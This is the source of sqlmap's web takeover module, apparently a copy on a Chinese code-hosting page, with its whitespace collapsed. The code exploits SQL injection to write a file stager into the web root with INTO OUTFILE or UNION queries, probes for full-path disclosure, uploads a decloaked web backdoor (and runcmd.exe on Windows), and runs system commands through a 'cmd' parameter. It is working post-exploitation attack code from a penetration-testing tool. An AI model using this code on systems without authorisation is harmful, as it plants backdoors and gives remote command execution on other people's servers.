同步操作将从 yeqingchen1/sqlmap 强制同步,此操作会覆盖自 Fork 仓库以来所做的任何修改,且无法恢复!!!
确定后同步将在后台操作,完成时将刷新页面,请耐心等待。
#!/usr/bin/env python"""Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""import ioimport osimport posixpathimport reimport tempfilefrom extra.cloak.cloak import decloakfrom lib.core.agent import agentfrom lib.core.common import arrayizeValuefrom lib.core.common import Backendfrom lib.core.common import extractRegexResultfrom lib.core.common import getAutoDirectoriesfrom lib.core.common import getManualDirectoriesfrom lib.core.common import getPublicTypeMembersfrom lib.core.common import getSQLSnippetfrom lib.core.common import getTechniquefrom lib.core.common import getTechniqueDatafrom lib.core.common import isTechniqueAvailablefrom lib.core.common import isWindowsDriveLetterPathfrom lib.core.common import normalizePathfrom lib.core.common import ntToPosixSlashesfrom lib.core.common import openFilefrom lib.core.common import parseFilePathsfrom lib.core.common import posixToNtSlashesfrom lib.core.common import randomIntfrom lib.core.common import randomStrfrom lib.core.common import readInputfrom lib.core.common import singleTimeWarnMessagefrom lib.core.compat import xrangefrom lib.core.convert import encodeHexfrom lib.core.convert import getBytesfrom lib.core.convert import getTextfrom lib.core.convert import getUnicodefrom lib.core.data import conffrom lib.core.data import kbfrom lib.core.data import loggerfrom lib.core.data import pathsfrom lib.core.datatype import OrderedSetfrom lib.core.enums import DBMSfrom lib.core.enums import HTTP_HEADERfrom lib.core.enums import OSfrom lib.core.enums import PAYLOADfrom lib.core.enums import PLACEfrom lib.core.enums import WEB_PLATFORMfrom lib.core.exception import SqlmapNoneDataExceptionfrom lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUTfrom lib.core.settings import EVENTVALIDATION_REGEXfrom lib.core.settings import SHELL_RUNCMD_EXE_TAGfrom lib.core.settings import SHELL_WRITABLE_DIR_TAGfrom lib.core.settings import VIEWSTATE_REGEXfrom lib.request.connect import Connect as Requestfrom thirdparty.six.moves import urllib as _urllibclass Web(object):"""This class defines web-oriented OS takeover functionalities forplugins."""def __init__(self):self.webPlatform = Noneself.webBaseUrl = Noneself.webBackdoorUrl = Noneself.webBackdoorFilePath = Noneself.webStagerUrl = Noneself.webStagerFilePath = Noneself.webDirectory = Nonedef webBackdoorRunCmd(self, cmd):if self.webBackdoorUrl is None:returnoutput = Noneif not cmd:cmd = conf.osCmdcmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, getUnicode(cmd))page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True, timeout=BACKDOOR_RUN_CMD_TIMEOUT)if page is not None:output = re.search(r"<pre>(.+?)</pre>", page, re.I | re.S)if output:output = output.group(1)return outputdef webUpload(self, destFileName, directory, stream=None, content=None, filepath=None):if filepath is not None:if filepath.endswith('_'):content = decloak(filepath) # cloaked fileelse:with openFile(filepath, "rb", encoding=None) as f:content = f.read()if content is not None:stream = io.BytesIO(getBytes(content)) # string content# Reference: https://github.com/sqlmapproject/sqlmap/issues/3560# Reference: https://stackoverflow.com/a/4677542stream.seek(0, os.SEEK_END)stream.len = stream.tell()stream.seek(0, os.SEEK_SET)return self._webFileStreamUpload(stream, destFileName, directory)def _webFileStreamUpload(self, stream, destFileName, directory):stream.seek(0) # Rewindtry:setattr(stream, "name", destFileName)except TypeError:passif self.webPlatform in getPublicTypeMembers(WEB_PLATFORM, True):multipartParams = {"upload": "1","file": stream,"uploadDir": directory,}if self.webPlatform == WEB_PLATFORM.ASPX:multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATIONmultipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATEpage, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)if "File uploaded" not in (page or ""):warnMsg = "unable to upload the file through the web file "warnMsg += "stager to '%s'" % directorylogger.warn(warnMsg)return Falseelse:return Trueelse:logger.error("sqlmap hasn't got a web backdoor nor a web file stager for %s" % self.webPlatform)return Falsedef _webFileInject(self, fileContent, fileName, directory):outFile = posixpath.join(ntToPosixSlashes(directory), fileName)uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)query = ""if isTechniqueAvailable(getTechnique()):where = getTechniqueData().whereif where == PAYLOAD.WHERE.NEGATIVE:randInt = randomInt()query += "OR %d=%d " % (randInt, randInt)query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=encodeHex(uplQuery, binary=False))query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)payload = agent.payload(newValue=query)page = Request.queryPage(payload)return pagedef webInit(self):"""This method is used to write a web backdoor (agent) on a writableremote directory within the web server document root."""if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None:returnself.checkDbmsOs()default = Nonechoices = list(getPublicTypeMembers(WEB_PLATFORM, True))for ext in choices:if conf.url.endswith(ext):default = extbreakif not default:default = WEB_PLATFORM.ASP if Backend.isOs(OS.WINDOWS) else WEB_PLATFORM.PHPmessage = "which web application language does the web server "message += "support?\n"for count in xrange(len(choices)):ext = choices[count]message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))if default == ext:default = count + 1message = message[:-1]while True:choice = readInput(message, default=str(default))if not choice.isdigit():logger.warn("invalid value, only digits are allowed")elif int(choice) < 1 or int(choice) > len(choices):logger.warn("invalid value, it must be between 1 and %d" % len(choices))else:self.webPlatform = choices[int(choice) - 1]breakif not kb.absFilePaths:message = "do you want sqlmap to further try to "message += "provoke the full path disclosure? [Y/n] "if readInput(message, default='Y', boolean=True):headers = {}been = set([conf.url])for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")if url not in been:try:page, _, _ = Request.getPage(url=url, raise404=False, silent=True)parseFilePaths(page)except:passfinally:been.add(url)url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)if url not in been:try:page, _, _ = Request.getPage(url=url, raise404=False, silent=True)parseFilePaths(page)except:passfinally:been.add(url)for place in (PLACE.GET, PLACE.POST):if place in conf.parameters:value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])if "[]" in value:page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)parseFilePaths(page)cookie = Noneif PLACE.COOKIE in conf.parameters:cookie = conf.parameters[PLACE.COOKIE]elif headers and HTTP_HEADER.SET_COOKIE in headers:cookie = headers[HTTP_HEADER.SET_COOKIE]if cookie:value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)if value != cookie:page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)parseFilePaths(page)value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie)if value != cookie:page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)parseFilePaths(page)directories = list(arrayizeValue(getManualDirectories()))directories.extend(getAutoDirectories())directories = list(OrderedSet(directories))path = _urllib.parse.urlparse(conf.url).path or '/'path = re.sub(r"/[^/]*\.\w+\Z", '/', path)if path != '/':_ = []for directory in directories:_.append(directory)if not directory.endswith(path):_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))directories = _backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform)backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform)))stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))for directory in directories:if not directory:continuestagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)uploaded = Falsedirectory = ntToPosixSlashes(normalizePath(directory))if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):directory = "/%s" % directoryif not directory.endswith('/'):directory += '/'# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE methodinfoMsg = "trying to upload the file stager on '%s' " % directoryinfoMsg += "via LIMIT 'LINES TERMINATED BY' method"logger.info(infoMsg)self._webFileInject(stagerContent, stagerName, directory)for match in re.finditer('/', directory):self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrllogger.debug(debugMsg)uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)uplPage = uplPage or ""if "sqlmap file uploader" in uplPage:uploaded = Truebreak# Fall-back to UNION queries file upload methodif not uploaded:warnMsg = "unable to upload the file stager "warnMsg += "on '%s'" % directorysingleTimeWarnMessage(warnMsg)if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):infoMsg = "trying to upload the file stager on '%s' " % directoryinfoMsg += "via UNION method"logger.info(infoMsg)stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)handle, filename = tempfile.mkstemp()os.close(handle)with openFile(filename, "w+b") as f:_ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))_ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)f.write(_)self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)for match in re.finditer('/', directory):self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrllogger.debug(debugMsg)uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)uplPage = uplPage or ""if "sqlmap file uploader" in uplPage:uploaded = Truebreakif not uploaded:continueif "<%" in uplPage or "<?" in uplPage:warnMsg = "file stager uploaded on '%s', " % directorywarnMsg += "but not dynamically interpreted"logger.warn(warnMsg)continueelif self.webPlatform == WEB_PLATFORM.ASPX:kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)infoMsg = "the file stager has been successfully uploaded "infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)logger.info(infoMsg)if self.webPlatform == WEB_PLATFORM.ASP:match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)if match:backdoorDirectory = match.group(1)else:continue_ = "tmpe%s.exe" % randomStr(lowercase=True)if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)self.webDirectory = backdoorDirectoryelse:continueelse:if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):warnMsg = "backdoor has not been successfully uploaded "warnMsg += "through the file stager possibly because "warnMsg += "the user running the web server process "warnMsg += "has not write privileges over the folder "warnMsg += "where the user running the DBMS process "warnMsg += "was able to upload the file stager or "warnMsg += "because the DBMS and web server sit on "warnMsg += "different servers"logger.warn(warnMsg)message = "do you want to try the same method used "message += "for the file stager? [Y/n] "if readInput(message, default='Y', boolean=True):self._webFileInject(backdoorContent, backdoorName, directory)else:continueself.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)self.webDirectory = directoryself.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)testStr = "command execution test"output = self.webBackdoorRunCmd("echo %s" % testStr)if output == "0":warnMsg = "the backdoor has been uploaded but required privileges "warnMsg += "for running the system commands are missing"raise SqlmapNoneDataException(warnMsg)elif output and testStr in output:infoMsg = "the backdoor has been successfully "else:infoMsg = "the backdoor has probably been successfully "infoMsg += "uploaded on '%s' - " % self.webDirectoryinfoMsg += self.webBackdoorUrllogger.info(infoMsg)break
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。